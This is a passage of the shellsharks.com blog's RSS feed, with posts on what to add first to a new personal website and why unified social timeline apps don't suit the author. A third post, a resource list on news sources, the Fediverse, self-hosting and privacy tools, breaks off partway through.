There’s <em><a href="#stuff-you-can-do-with-your-site">A LOT</a></em> you can do with a website. I mean you can pretty much do anything y’know? But here’s what I recommend you do <strong>first</strong>, before anything else.</p>
</shark:summary>
        <description>&lt;p&gt;You got yourself a domain, you found a place to host your site, it’s up and running! &lt;strong&gt;Now what?&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;
There’s &lt;em&gt;&lt;a href=&quot;#stuff-you-can-do-with-your-site&quot;&gt;A LOT&lt;/a&gt;&lt;/em&gt; you can do with a website. I mean you can pretty much do anything y’know? But here’s what I recommend you do &lt;strong&gt;first&lt;/strong&gt;, before anything else.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Put some sort of &lt;strong&gt;&lt;a href=&quot;https://slashpages.net/#contact&quot;&gt;contact&lt;/a&gt;&lt;/strong&gt; information on your site, maybe even on your home page. This contact info could be an email, or a social media handle. It’s nice for people to be able to message you about your site!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Create an “&lt;strong&gt;&lt;a href=&quot;https://slashpages.net/#about&quot;&gt;About&lt;/a&gt;&lt;/strong&gt;” page (preferably at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://YOURSITE/about&lt;/code&gt;). Here you can just briefly tell anyone who’s stumbled across your site who you are, and what the site is for. &lt;em&gt;Easy!&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;For participating, &lt;em&gt;or opting out of&lt;/em&gt;, broader web stuff, you might want to create a &lt;strong&gt;&lt;a href=&quot;https://www.sitemaps.org/protocol.html&quot;&gt;sitemap&lt;/a&gt;&lt;/strong&gt; and/or a &lt;strong&gt;&lt;a href=&quot;https://www.robotstxt.org&quot;&gt;robots.txt&lt;/a&gt;&lt;/strong&gt; file. The &lt;em&gt;sitemap&lt;/em&gt; helps inform search engine crawlers what on your site you want indexed. Conversely, you’ll want the &lt;em&gt;robots.txt&lt;/em&gt; file to instruct those same crawlers what pages they should &lt;em&gt;avoid&lt;/em&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://shellsharks.com/notes/2024/04/17/having-a-website-is-about-you&quot;&gt;Though it isn’t required&lt;/a&gt;, I would &lt;a href=&quot;https://shellsharks.com/you-should-blog&quot;&gt;suggest&lt;/a&gt; creating a “&lt;strong&gt;blog&lt;/strong&gt;” too, where you can publish stuff you want to write about/share with any current/future readership. If you &lt;em&gt;do&lt;/em&gt; decide to &lt;em&gt;blog&lt;/em&gt;, be sure to also create an &lt;strong&gt;&lt;a href=&quot;https://rss.com/blog/how-do-rss-feeds-work/&quot;&gt;RSS feed&lt;/a&gt;&lt;/strong&gt; so that people can &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss#how-to-rss&quot;&gt;subscribe&lt;/a&gt; to your content!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;As a &lt;em&gt;bonus&lt;/em&gt;, I would lastly suggest having some sort of &lt;strong&gt;search&lt;/strong&gt; capability natively on your site. Search engines are becoming ever-more unreliable, so having a way to natively find things you’ve said/posted in the past is super useful!&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h6 id=&quot;other-stuff-you-can-do-with-your-site&quot;&gt;Other stuff you can do with your site&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/notes/2023/08/15/website-component-checklist&quot;&gt;Website Component Checklist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://slashpages.net/#about&quot;&gt;Slash Pages&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/notes/2023/08/10/well-known-uri&quot;&gt;Well-known URI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/web-page-annoyances#title&quot;&gt;Things NOT to do&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing#title&quot;&gt;Lots of different types of posts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jamesg.blog/2024/02/19/personal-website-ideas/&quot;&gt;100 things you can do on your personal website&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 06 Feb 2025 20:29:00 -0500</pubDate>
        <link>https://shellsharks.com/what-to-add-to-your-site-first</link>
        <guid isPermaLink="true">https://shellsharks.com/what-to-add-to-your-site-first</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        <category>blogging</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Unified Timelines Are Not For Me</title>
        <shark:summary><p>Several unified, social-web-forward, chronological timeline apps have popped up recently. Notably <a href="https://reederapp.com/">Reeder</a> (not to be confused with <a href="https://reederapp.com/classic/">Reeder Classic</a>), <a href="https://usetapestry.com/">Tapestry</a> &amp; <a href="https://surf.social/">Surf</a>. Though these apps differ in many ways, they have these core commonalities…</p>
</shark:summary>
        <description>&lt;p&gt;Several unified, social-web-forward, chronological timeline apps have popped up recently. Notably &lt;a href=&quot;https://reederapp.com&quot;&gt;Reeder&lt;/a&gt; (not to be confused with &lt;a href=&quot;https://reederapp.com/classic/&quot;&gt;Reeder Classic&lt;/a&gt;), &lt;a href=&quot;https://usetapestry.com&quot;&gt;Tapestry&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://surf.social&quot;&gt;Surf&lt;/a&gt;. Though these apps differ in many ways, they have these core commonalities…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;They support mixed-content/heterogenous feeds (e.g. podcasts, YouTube, &lt;a href=&quot;https://shellsharks.com/mastodon&quot;&gt;Mastodon&lt;/a&gt;, Pixelfed, Bluesky, Glass, Flickr, Reddit, RSS, Tumblr and more)&lt;/li&gt;
  &lt;li&gt;All feeds are woven together in a unified, chronological timeline with some form of &lt;em&gt;timeline sync&lt;/em&gt; rather than unread counts typical of your classic RSS feed readers&lt;/li&gt;
  &lt;li&gt;They also support the ability to create custom feeds, timelines and filters&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Cool right&lt;/em&gt;? This &lt;em&gt;sounds&lt;/em&gt; useful. I can reduce the amount of apps I’m opening all the time and do a better job not &lt;em&gt;missing&lt;/em&gt; things, &lt;em&gt;yeah&lt;/em&gt;? &lt;em&gt;In theory&lt;/em&gt;. But in practice, I have found that these apps, cool as they are, just don’t give &lt;em&gt;me&lt;/em&gt; what I want and need. Let me explain why…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Curation &amp;amp; completionism&lt;/strong&gt;: RSS feeds are &lt;em&gt;highly&lt;/em&gt; curated and high fidelity/signal-to-noise. What I mean by that, is you subscribe to what you want, and you get &lt;em&gt;nothing&lt;/em&gt; else. I also think that &lt;em&gt;generally&lt;/em&gt;, people’s list of RSS feeds is smaller and &lt;em&gt;more&lt;/em&gt; highly curated than their social media follows (as an example). Non-algorithmic social feeds (i.e. Mastodon / &lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt; platforms) are still (generally) highly curated (&lt;em&gt;at least for me&lt;/em&gt;), but lower signal-to-noise courtesy of the nature of social media/micro-blogging. You get a lot more &lt;em&gt;casual&lt;/em&gt; posts, short-form stuff, shitposts, and of course boosts/reposts, all of which add more noise to the feed. This means that when juxtaposed in a unified timeline, you lose the fidelity of your RSS feeds, by combining it with the higher noise feed of your social media timeline. You continue to lose fidelity as you add even noisier feeds (i.e. Reddit, Tumblr, or algorithmic timelines).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Social functionality&lt;/strong&gt;: When you scroll a social feed, there are a lot of little interactions you may want to perform. Namely “stars” and “boosts” (to use the Mastodon lexicon). In order to do those things while browsing a unified feed app however, you would have to jump &lt;em&gt;out&lt;/em&gt; of the unified timeline/app into the respective app, which adds a lot of overhead, especially if you’re someone like me who tends to like/repost a lot of stuff. You may also want to follow an account, mute something, search for something in-app, add something to a list, etc… There’s lots of functionality you just lose by not being in the app that supports the actual service you’re browsing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Volumetric imbalance&lt;/strong&gt;: I touched on this earlier. Let’s say you don’t open your RSS app for a day, depending on how many feeds you have subscribed to, you’ll get maybe 10’s of new items. In a social media app though? &lt;em&gt;Hundreds&lt;/em&gt;. When combined in a unified timeline, blog posts, which again are meant to be kinda higher signal, are drowned in a sea of microblog shitposts. Similar story with something like Reddit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mindset&lt;/strong&gt;: Do you really want to browse Reddit threads at the same time you’re catching up on the blogs you subscribe to? Do you want to scroll through people’s social media shitposts at the same time you’re seeing what new podcasts there are? This is of course very subjective, but there’s something to it. I think I just tend to be a in &lt;em&gt;mood&lt;/em&gt; for a particular type of content, and by mushing them all together, it’s a bit of a rollercoaster.&lt;/p&gt;

&lt;p&gt;Now these unified timeline apps &lt;em&gt;do&lt;/em&gt; have the ability to switch your feed/custom timeline view, but how does that then work with the timeline sync? If I switch from the unified view to just scroll through my latest YouTube items, what happens when I re-enable the unified timeline at a point in time further back then I had made it in my filtered YT timeline? Are those repopulated in the universal timeline and I have to scroll past them again? Are they intelligently filtered out? &lt;em&gt;It gets a bit complicated.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Native functionality&lt;/strong&gt;: In a unified timeline app, you just lose out on native functionality of the client or the overall platform. For Mastodon, you can’t like, boost, or comment. For Bluesky, you can’t leverage the algorithmic feed or see notifications. For Reddit, you can’t browse other non-subscribed subreddits, look at messages, etc… You get a &lt;em&gt;watered down&lt;/em&gt; experience of all these services.&lt;/p&gt;

&lt;p&gt;This said, one way to use a unified timeline app in partnership with a native client would be to scroll through the unified timeline, save/bookmark things you want to interact with, and then go through your saves and systematically interact as you had wanted, and then unsave/unbookmark as you complete each interaction. This could &lt;em&gt;probably&lt;/em&gt; work for me, but the problem remains that I just tend to scroll faster through a social feed than I would my blog feed. This goes back to the curation/signal problem. How much do you &lt;em&gt;care&lt;/em&gt; about each individual feed. You’re probably perfectly willing to &lt;em&gt;miss&lt;/em&gt; something in a Reddit sub, but less willing to miss something in your RSS feed or even Mastodon/Fediverse feed.&lt;/p&gt;

&lt;p&gt;Another way I suppose I could use an app like this is to not used the unified timeline at all, but since all my feeds are supported in-app, I can just scroll each individual feed independently, yet all through the same app. But if I’m doing that, why not just jump into the apps themselves where I don’t lose functionality? Any time I save by staying in one app, I lose because I’ll likely need to jump out of the universal timeline app to interact with things in the respective native apps.&lt;/p&gt;

&lt;hr width=&quot;50%&quot; /&gt;

&lt;p&gt;I &lt;em&gt;really want&lt;/em&gt; to like these apps (In fact, I was a &lt;a href=&quot;https://www.kickstarter.com/projects/iconfactory/project-tapestry&quot;&gt;Project Tapestry Kickstarter&lt;/a&gt; supporter), and I think an app like &lt;a href=&quot;https://shellsharks.com/notes/2025/01/22/surfing-the-social-web#title&quot;&gt;Surf&lt;/a&gt; stands out because it not only has unified timeline stuff, but it has real powerful search and discovery functionality. Don’t get me wrong, these apps look great (Tapestry is &lt;em&gt;BEAUTIFUL&lt;/em&gt;), but they just &lt;em&gt;aren’t for me&lt;/em&gt; - not for the way I use and browse my feeds on a daily basis. To be fair it’s early days for these apps, and I suspect a lot of new functionality will be added over time. So I will keep my eye on them and continue trying them out as they evolve!&lt;/p&gt;

&lt;p&gt;So I still encourage you to just &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss&quot;&gt;get an RSS app&lt;/a&gt;, but &lt;em&gt;hey&lt;/em&gt;, I’m interested in hearing your story about how this &lt;em&gt;does&lt;/em&gt; work for ya. It might not be my cup of tea (&lt;em&gt;yet&lt;/em&gt;), but that doesn’t mean it won’t be yours!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/tapestry.PNG&quot; width=&quot;350px&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;other-stuff&quot;&gt;Other Stuff&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Using Tapestry or Reeder as a Bluesky app is actually a pretty good idea since it gives you one really awesome feature that you can’t get with the native app - timeline position sync.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 06 Feb 2025 12:19:00 -0500</pubDate>
        <link>https://shellsharks.com/unified-timelines-are-not-for-me</link>
        <guid isPermaLink="true">https://shellsharks.com/unified-timelines-are-not-for-me</guid>
        
        <category>technology</category>
        
        <category>socialweb</category>
        
        <category>fediverse</category>
        
        <category>bluesky</category>
        
        <category>app</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Surviving the Brave New World</title>
        <shark:summary><p>The world is a dangerous place, and complexity abounds, moreso <em>today</em> it seems than it ever has been. Navigating a world filled with AI-fueled disinformation, corporate-backed algorithmic control, political information silos and worse is no easy feat. So how can we trust what we see? How can we communicate safely? How can we protect ourselves in a digital warzone? How can we build and sustain our communities? How can we do all of this in light of the powers that seek to isolate, confuse, depress and control us? Here are some resources for staying safe and surviving…</p>
</shark:summary>
        <description>&lt;p&gt;The world is a dangerous place, and complexity abounds, moreso &lt;em&gt;today&lt;/em&gt; it seems than it ever has been. Navigating a world filled with AI-fueled disinformation, corporate-backed algorithmic control, political information silos and worse is no easy feat. So how can we trust what we see? How can we communicate safely? How can we protect ourselves in a digital warzone? How can we build and sustain our communities? How can we do all of this in light of the powers that seek to isolate, confuse, depress and control us? Here are some resources for staying safe and surviving…&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;&lt;span class=&quot;shellsharks&quot;&gt;&lt;i&gt;Like most things on my site, this is a &quot;living resource&quot;. I will add and update this post as I discover new things.&lt;br /&gt;&lt;br /&gt;This is a &lt;b&gt;call for contributions&lt;/b&gt;! If you have tips, advice, additional resources that fit into these categories, I want to know about them so I can add it here.&lt;br /&gt;&lt;br /&gt;Thanks, and stay safe out there!&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#news&quot;&gt;News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#social-media&quot;&gt;Social Media&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#self-hosting&quot;&gt;Self-Hosting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#communication&quot;&gt;Communication&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#privacy-digital-security--opsec&quot;&gt;Privacy &amp;amp; OpSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#community&quot;&gt;Community&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;news&quot;&gt;News&lt;/h1&gt;

&lt;p&gt;Disinformation, misinformation, biased news, whatever. It’s &lt;em&gt;everywhere&lt;/em&gt;. How can you know what you are reading is &lt;em&gt;reality&lt;/em&gt;? Who speaks truth to power? Where can you go to get the actual &lt;em&gt;news&lt;/em&gt;? We all know the traditional news outlets have capitulated, and the behemoth centralized platforms will suppress and annihilate news they deem unfit to the narrative. There’s no silver bullet here, but there are sources of light and truth you can plug into. Here’s some recommendations (&lt;em&gt;none of these are foolproof sources, remember to &lt;a href=&quot;#fact-checking&quot;&gt;fact check&lt;/a&gt;&lt;/em&gt;!)…&lt;/p&gt;

&lt;h6 id=&quot;news-sources&quot;&gt;News Sources&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.propublica.org&quot;&gt;ProPublica&lt;/a&gt;: An independent, nonprofit newsroom that produces investigative journalism with moral force.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.404media.co&quot;&gt;404 Media&lt;/a&gt;: Journalist-founded digital media company exploring the ways technology is shaping–and is shaped by–our world.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aljazeera.com&quot;&gt;Al Jazeera&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.alternet.org&quot;&gt;AlterNet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arstechnica.com&quot;&gt;Ars Technica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://apnews.com&quot;&gt;Associated Press&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.democracynow.org&quot;&gt;Democracy Now!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lawfaremedia.org&quot;&gt;Lawfare&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.motherjones.com&quot;&gt;Mother Jones&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rollingstone.com&quot;&gt;Rolling Stone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://slate.com&quot;&gt;SLATE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.teenvogue.com&quot;&gt;Teen Vogue&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.texasobserver.org&quot;&gt;Texas Observer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://19thnews.org&quot;&gt;The 19th News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theatlantic.com&quot;&gt;The Atlantic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theguardian.com&quot;&gt;The Guardian&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://newrepublic.com&quot;&gt;The New Republic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theverge.com&quot;&gt;The Verge&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://washingtonmonthly.com&quot;&gt;Washington Monthly&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wired.com&quot;&gt;Wired&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;and some resources for finding further news…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trustworthymedia.org/list-of-independent-media/&quot;&gt;Trustworthy Media&lt;/a&gt;: Provides a list of independent media sources.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://findyournews.org&quot;&gt;FindYourNews&lt;/a&gt;: A place to discover and connect with public service newsrooms.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;*&lt;em&gt;Have other news sources you recommend? Have concerns about one of the sources listed here? Please &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;let me know&lt;/a&gt;!&lt;/em&gt;&lt;/p&gt;

&lt;h6 id=&quot;fact-checking&quot;&gt;Fact-Checking&lt;/h6&gt;

&lt;p&gt;Remember to find secondary sources to verify/corroborate any news/information you see online. Some fact-checking resources…(&lt;em&gt;thanks &lt;a href=&quot;https://infosec.exchange/@AAKL/112360914145670561&quot;&gt;AAKL&lt;/a&gt;&lt;/em&gt;!)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.factcheck.org/&quot;&gt;FactCheck.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.washingtonpost.com/news/fact-checker/&quot;&gt;WaPo Politics Fact Checker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.politifact.com/&quot;&gt;PolitiFact.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.snopes.com/fact-check/&quot;&gt;Snopes Fact Checks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reuters.com/fact-check&quot;&gt;Reuters Fact Check&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://apnews.com/hub/ap-fact-check&quot;&gt;AP Fact Check&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fullfact.org/latest/&quot;&gt;Full Fact Latest fact checks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bbb.org/scamtracker/lookupscam&quot;&gt;Better Business Bureau Scam Tracker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…and a few &lt;em&gt;link checkers&lt;/em&gt; to ensure the links are free from malware, phishing, etc…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nordvpn.com/link-checker/&quot;&gt;NordVPN link checker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ipvanish.com/link-checker/&quot;&gt;IPVanish Link Checker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://urlscan.io&quot;&gt;urlscan.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/&quot;&gt;VirusTotal&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Don’t look for news on the big centralized social networks. They &lt;em&gt;will&lt;/em&gt; censor things of import. Instead, find some trustworthy sources on decentralized &lt;a href=&quot;#social-media&quot;&gt;social media&lt;/a&gt; outlets.&lt;/p&gt;

&lt;h1 id=&quot;social-media&quot;&gt;Social Media&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;I’ll just say it&lt;/em&gt;. The centralized platforms are bad (for a lot of reasons I’ll cover). Facebook, Twitter (X), Instagram, TikTok, even Bluesky. That’s not to say they aren’t entertaining, or an easy way to communicate with friends &amp;amp; family, but they are bad for a lot of &lt;em&gt;other&lt;/em&gt; reasons. Propagating disinformation, rampant censorship, heavy-handed moderation, shady ownership, privacy violations, enshittification, you name it. So what’s the solution? Is there a perfect social media utopia to run to? &lt;em&gt;Of course not&lt;/em&gt;. But we do have &lt;em&gt;something&lt;/em&gt;, something that is &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/notes/2025/01/15/bluesky-wont-free-your-feed#title&quot;&gt;actually&lt;/a&gt;&lt;/em&gt; resilient in the face of ever-expanding oligarchic and governmental control. That something is the &lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt; - a &lt;em&gt;real&lt;/em&gt; decentralized social media network.&lt;/p&gt;

&lt;p&gt;But don’t just take it from me, take a look at the following stories on this topic.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.404media.co/decentralized-social-media-is-the-only-alternative-to-the-tech-oligarchy/&quot;&gt;Decentralized Social Media Is the Only Alternative to the Tech Oligarchy | 404 Media&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cacm.acm.org/news/disrupting-networks-decentralization-and-the-fediverse/&quot;&gt;Disrupting Networks: Decentralization and the Fediverse&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Looking to further understand why the &lt;a href=&quot;https://jointhefediverse.net&quot;&gt;Fediverse&lt;/a&gt; is better? Read through &lt;a href=&quot;https://shellsharks.com/notes/2023/11/16/hark-threaders-the-fediverse-is-good-for-you#why-mastodon--fediverse-is-good&quot;&gt;these benefits&lt;/a&gt;. &lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt; is one of the more popular Fediverse-enabled platforms, I’ve got the &lt;a href=&quot;https://shellsharks.com/mastodon&quot;&gt;following guide&lt;/a&gt; if you’re interested in learning more. Want to take it to the next level and &lt;a href=&quot;https://shellsharks.com/own-my-social&quot;&gt;own your own fediverse instance&lt;/a&gt;? Here’s some &lt;a href=&quot;https://shellsharks.com/notes/2023/08/01/fediverse-managed-hosting-providers&quot;&gt;managed hosting providers&lt;/a&gt; to help you achieve that. Looking to go beyond micro-blogging? The “&lt;a href=&quot;https://shellsharks.com/threadiversal-travel&quot;&gt;Threadiverse&lt;/a&gt;” is the Fediverse’s answer to Reddit being awful.&lt;/p&gt;

&lt;h1 id=&quot;self-hosting&quot;&gt;Self-Hosting&lt;/h1&gt;

&lt;p&gt;Our reliance on big tech is dangerous. Given their willingness to fold in the face of governmental pressure, by governments who might not have &lt;em&gt;your&lt;/em&gt; best interests in mind, there is little assurance they will safeguard data you entrust to them, nor can we be certain that we won’t be deplatformed. So, we must learn to self-host the services that matter. It requires some know-how, some cash and in many cases some hardware, but it can be done!&lt;/p&gt;

&lt;p&gt;Below are some self-hosting-related resources…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://taggartinstitute.org/p/the-homelab-almanac&quot;&gt;The Homelab Almanac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mwl.io/archives/22653&quot;&gt;Run Your Own Mail Server&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Though running your own mail server can be fraught –&amp;gt; &lt;a href=&quot;https://cfenollosa.com/blog/after-self-hosting-my-email-for-twenty-three-years-i-have-thrown-in-the-towel-the-oligopoly-has-won.html&quot;&gt;After self-hosting my email for twenty-three years I have thrown in the towel. The oligopoly has won.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://32x33.institute/tag/self-hosting/&quot;&gt;Host your stuff | 32x33 Institute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiki.futo.org/wiki/Introduction_to_a_Self_Managed_Life:_a_13_hour_%26_28_minute_presentation_by_FUTO_software&quot;&gt;Introduction to a Self Managed Life: a 13 hour &amp;amp; 28 minute presentation by FUTO software&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://community-scripts.github.io/ProxmoxVE/&quot;&gt;Proxmox VE Helper-Scripts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://awesome-selfhosted.net&quot;&gt;Awesome-Selfhosted&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://european-alternatives.eu&quot;&gt;European alternatives for digital products&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On a related note, here’s some thoughts/resources on &lt;a href=&quot;https://shellsharks.com/notes/2025/02/05/save-your-links#title&quot;&gt;archiving data&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;communication&quot;&gt;Communication&lt;/h1&gt;

&lt;p&gt;We need to be able to communicate &lt;em&gt;securely&lt;/em&gt;. Social media is not the place for this, not even decentralized social media. &lt;a href=&quot;https://signal.org&quot;&gt;Signal&lt;/a&gt; is a highly-recommended option for secure commmunications.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://a.wholelottanothing.org/a-guide-to-using-signal-for-government-workers/&quot;&gt;A guide to using Signal for government workers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simplex.chat&quot;&gt;Simplex.chat&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;privacy-digital-security--opsec&quot;&gt;Privacy, Digital Security &amp;amp; OpSec&lt;/h1&gt;

&lt;p&gt;Surveillance is everywhere, learn to protect your privacy. Some resources below…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lawfaremedia.org/article/digital-threat-modeling-under-authoritarianism&quot;&gt;Digital Threat Modeling Under Authoritarianism&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.privacyguides.org&quot;&gt;Privacy Guides&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.optoutproject.net/the-cyber-cleanse-take-back-your-digital-footprint/&quot;&gt;The Opt Out Project&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.privacyguides.org/articles/2025/01/23/activists-guide-securing-your-smartphone/&quot;&gt;The Protesters’ Guide to Smartphone Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tnl.net/blog/2025/02/01/on-anonymity/&quot;&gt;On Anonymity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://freedom.press/digisec/blog/sharing-sensitive-leaks-press/&quot;&gt;Here’s how to share sensitive leaks with the press&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosecforactivists.org&quot;&gt;Infosec 101 for Activists&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;For those in the press, or looking to conduct any form of ‘jounalism’: &lt;a href=&quot;https://freedom.press&quot;&gt;Freedom of the Press Foundation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://european-alternatives.eu&quot;&gt;European Alternatives&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-youtube-logo&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=Hcqh0ZSza50&quot;&gt;“I Have Nothing to Hide&lt;/a&gt;: The Dangerous Myth About Privacy&lt;/li&gt;
